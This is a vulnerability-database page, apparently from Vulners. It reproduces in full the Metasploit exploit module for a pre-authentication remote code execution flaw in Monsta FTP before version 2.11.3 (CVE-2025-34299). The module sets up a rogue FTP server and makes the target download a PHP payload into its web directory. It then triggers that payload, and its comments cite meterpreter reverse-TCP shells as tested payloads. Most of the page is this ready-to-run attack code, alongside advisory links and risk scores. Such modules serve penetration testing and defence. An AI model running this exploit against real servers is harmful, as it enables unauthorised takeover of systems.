Lucene search
K

Monsta FTP downloadFile Remote Code Execution

🗓️ 27 Nov 2025 18:57:24Reported by watchTowr Labs, Valentin Lobstein <[email protected]>, msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 426 Views

Monsta FTP pre-auth RCE via downloadFile in versions before 2.11.3.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-34299
19 Nov 202500:39
githubexploit
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Monstaftp Monsta_Ftp
11 Dec 202503:42
githubexploit
Circl
CVE-2025-34299
7 Nov 202510:26
circl
CNNVD
Monsta FTP 代码问题漏洞
7 Nov 202500:00
cnnvd
CVE
CVE-2025-34299
7 Nov 202513:51
cve
Cvelist
CVE-2025-34299 Monsta FTP <= 2.11 Unauthenticated Arbitrary File Upload
7 Nov 202513:51
cvelist
EUVD
EUVD-2025-38247
7 Nov 202513:51
euvd
HackRead
Monsta FTP Vulnerability Exposed Thousands of Servers to Full Takeover
10 Nov 202510:53
hackread
Nuclei
Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution
3 Jun 202606:04
nuclei
NVD
CVE-2025-34299
7 Nov 202514:15
nvd
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Monsta FTP downloadFile Remote Code Execution',
        'Description' => %q{
          This module exploits a pre-authenticated remote code execution vulnerability
          in Monsta FTP versions < 2.11.3. The vulnerability exists in the downloadFile
          action which allows an attacker to connect to a malicious FTP or SFTP server
          and download arbitrary files to arbitrary locations on the Monsta FTP server.
          This module uses FTP to exploit the vulnerability.
        },
        'Author' => [
          'watchTowr Labs',                              # Discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>', # Metasploit module
          'msutovsky-r7'                                 # Module reviewer
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34299'],
          ['URL', 'https://labs.watchtowr.com/monsta-ftp-remote-code-execution-cve-2025-34299/']
        ],
        'Targets' => [
          [
            'PHP In-Memory',
            {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
              # tested with php/meterpreter/reverse_tcp
            }
          ],
          [
            'Unix/Linux Command Shell',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'Windows Command Shell',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD
              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2025-11-07',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Monsta FTP', '/mftp/'])
    ])
  end

  def check
    res = send_request_cgi('uri' => normalize_uri(target_uri.path))
    return CheckCode::Unknown('Connection failed') unless res
    return CheckCode::Safe('Target does not appear to be Monsta FTP') unless res.code == 200 && res.body.include?('Monsta FTP')

    version_match = res.body.match(/(?:v=|assets-|monsta-min-)(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Monsta FTP detected but version could not be determined') unless version_match

    version = Rex::Version.new(version_match[1])
    print_status("Monsta FTP version detected: #{version}")
    version < Rex::Version.new('2.11.3') ? CheckCode::Appears("Detected version #{version}, which is vulnerable") : CheckCode::Safe("Detected not vulnerable version #{version}")
  end

  def php_payload_content
    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
    "<?php #{phped_payload} ?>"
  end

  def send_ftp_response(cli, code, message)
    cli.put "#{code} #{message}\r\n"
    vprint_status("FTP: #{code} #{message}")
  end

  def require_auth(cli)
    return true if @state[cli][:auth]

    send_ftp_response(cli, 530, 'Not logged in.')
    false
  end

  def send_data_connection(cli)
    conn = establish_data_connection(cli)
    unless conn
      send_ftp_response(cli, 425, "Can't open data connection.")
      return nil
    end
    conn
  end

  def handle_data_transfer_retr(cli, message)
    send_ftp_response(cli, 150, message)
    conn = send_data_connection(cli)
    return unless conn

    conn.put(php_payload_content)
    conn.close
    send_ftp_response(cli, 226, 'Transfer complete.')
  end

  def start_ftp_service(credentials)
    define_singleton_method(:on_client_connect) do |cli|
      vprint_status("FTP client connected from #{cli.peerhost}:#{cli.peerport}")
      @state[cli] = {
        name: "#{cli.peerhost}:#{cli.peerport}",
        ip: cli.peerhost,
        port: cli.peerport,
        user: credentials[:user],
        pass: credentials[:pass],
        auth: false,
        valid_user: false
      }
      send_ftp_response(cli, 220, 'FTP Server Ready')
    end
    start_service({ SSL: false })
  end

  def handle_ftp_command(_cli, cmd, arg = nil)
    vprint_status("FTP: Client sent #{cmd}#{arg ? " #{arg}" : ''}")
  end

  def on_client_command_user(cli, arg)
    handle_ftp_command(cli, 'USER', arg)
    @state[cli][:valid_user] = arg == @state[cli][:user]
    send_ftp_response(cli, 331, 'User name okay, need password.')
  end

  def on_client_command_pass(cli, arg)
    handle_ftp_command(cli, 'PASS')
    @state[cli][:auth] = @state[cli][:valid_user] && arg == @state[cli][:pass]
    code, message = @state[cli][:auth] ? [230, 'Login successful.'] : [530, 'Login incorrect.']
    send_ftp_response(cli, code, message)
  end

  def on_client_command_pwd(cli, _arg)
    handle_ftp_command(cli, 'PWD')
    send_ftp_response(cli, 257, '"/" is current directory.')
  end

  def on_client_command_type(cli, arg)
    handle_ftp_command(cli, 'TYPE', arg)
    send_ftp_response(cli, 200, "Type set to #{arg}.")
  end

  def on_client_command_port(cli, arg)
    handle_ftp_command(cli, 'PORT', arg)
    parts = arg.split(',')
    unless parts.length == 6
      vprint_error("FTP: Invalid PORT command format: #{arg}")
      send_ftp_response(cli, 500, 'Illegal PORT command.')
      return
    end
    host = parts[0..3].join('.')
    port = (parts[4].to_i * 256) + parts[5].to_i
    vprint_status("FTP: PORT command parsed - host: #{host}, port: #{port}")
    active_data_port_for_client(cli, port)
    send_ftp_response(cli, 200, 'PORT command successful.')
  end

  def on_client_command_retr(cli, arg)
    handle_ftp_command(cli, 'RETR', arg)
    return unless require_auth(cli)

    handle_data_transfer_retr(cli, "Opening data connection for #{arg}")
  end

  def on_client_command_quit(cli, _arg)
    handle_ftp_command(cli, 'QUIT')
    send_ftp_response(cli, 221, 'Goodbye.')
  end

  def on_client_command_unknown(cli, cmd, arg)
    handle_ftp_command(cli, "UNKNOWN: #{cmd}", arg)
    send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
  end

  def trigger_http_request(exploit_data)
    vprint_status('Triggering HTTP request...')
    payload_name = "#{Rex::Text.rand_text_alphanumeric(8..12)}.php"

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'application', 'api', 'api.php'),
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'data' => "request=#{Rex::Text.uri_encode({
        'connectionType' => 'ftp',
        'configuration' => {
          'host' => srvhost_addr,
          'username' => exploit_data[:user],
          'initialDirectory' => '/',
          'password' => exploit_data[:pass],
          'port' => srvport
        },
        'actionName' => 'downloadFile',
        'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name }
      }.to_json)}"
    })

    return nil unless res&.code == 200 && res.get_json_document&.[]('success')

    vprint_status("File downloaded successfully: #{payload_name}")
    payload_name
  end

  def exploit
    exploit_data = {
      user: Faker::Internet.username,
      pass: Faker::Internet.password
    }

    start_ftp_service(exploit_data)
    vprint_status("FTP server started on #{bindhost}:#{bindport}")

    payload_name = trigger_http_request(exploit_data)
    fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name

    register_file_for_cleanup(payload_name)
    vprint_status("Triggering payload at #{normalize_uri(target_uri.path, 'application', 'api', payload_name)}...")
    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'application', 'api', payload_name), 'method' => 'GET')

    vprint_warning('Payload executed but failed to establish reverse connection') if res&.body == 'no socket'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jun 2026 19:04Current
7.8High risk
Vulners AI Score7.8
CVSS 3.19.8
CVSS 49.3
EPSS0.7411
SSVC
426